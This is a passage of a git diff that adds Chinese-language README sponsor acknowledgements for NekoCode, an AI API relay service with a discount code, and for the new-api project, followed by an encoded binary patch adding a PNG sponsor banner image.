还提供企业级功能,包括集中账单、团队管理、BYOK 感谢 NekoCode 赞助本项目!NekoCode 为开发者提供稳定、高效、可靠的 Claude、Codex 等 AI 模型 API 中转服务,价格透明,接入便捷,支持灵活的按量计费。CC Switch 用户专享 9 折福利:通过 此链接 注册,并在充值时输入优惠码 cc-switch,即可享受充值 9 折优惠! + +new-api +感谢开源 AI 基础设施项目 new-api 对本项目的鼎力支持!new-api 是由 QuantumNous(锟腾科技)推出的开源 AI 基础设施项目,也是活跃度与使用规模领先的大模型统一接入与分发项目之一,专注于帮助开发者、团队和企业以更低成本构建可管理、可扩展的 AI 服务平台。作为同样扎根开源生态的项目,new-api 希望通过赞助支持更多优秀开源项目持续发展。🌟 欢迎 Star 支持 new-api:https://github.com/QuantumNous/new-api,官网:https://www.newapi.ai/。 + + diff --git a/assets/partners/logos/newapi-banner.png b/assets/partners/logos/newapi-banner.png new file mode 100644 index 0000000000000000000000000000000000000000..988a78b82fa5f051ad845197a57702aa0371dd1f GIT binary patch literal 62661 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 